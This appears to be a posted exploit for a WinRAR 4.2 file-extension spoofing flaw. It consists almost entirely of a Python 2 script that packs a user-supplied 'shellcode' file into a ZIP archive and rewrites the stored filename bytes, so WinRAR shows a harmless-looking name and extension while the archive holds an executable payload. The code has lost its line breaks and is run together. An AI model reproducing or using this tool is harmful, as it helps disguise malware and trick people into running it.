WinRar 4.2 file suffix Spoofing Vulnerability EXP

Enter the name of the program to be run, the name to be displayed, and the output file name.

import zipfileimport binasciiprint " Code By Cond0r\n [url]http://www.sitedirsec.com[/url]\n [url]http://php.mu[/url]"newname=raw_input("Shellcode File:")realname=raw_input("Display Name:")zipname=raw_input("Out Name:")def copy(file,tofile):    open(tofile, "wb").write(open(file, "rb").read())def _zipfile(filename,shellcode):    f = zipfile.ZipFile(filename, ''w'' ,zipfile.ZIP_DEFLATED)    f.write(shellcode)    f.close()if newname and realname and zipname:    copy(newname,realname)    newname_ext="."+newname.split(".")[-1]    realname_ext="."+realname.split(".")[-1]    if len(realname_ext)>len(newname_ext):        newname_ext=" "*(len(realname_ext)-len(newname_ext))+newname_ext    realname_hex=binascii.hexlify(realname)    print "Display name:"+realname    realname_to=binascii.hexlify(realname.replace(realname_ext,newname_ext))    print "Real name:"+realname.replace(realname_ext,newname_ext)    print "Hex:"+realname_to    #print binascii.hexlify(realname)    _zipfile(zipname,realname)    data=binascii.hexlify(open(zipname).read()).split(binascii.hexlify(realname))    data=data[0]+binascii.hexlify(realname.replace(realname_ext,newname_ext))+data[1]+realname_hex+data[2]    #print "Out Data:"+ data    open(zipname,''wb'').write(binascii.unhexlify(data))    print "OK"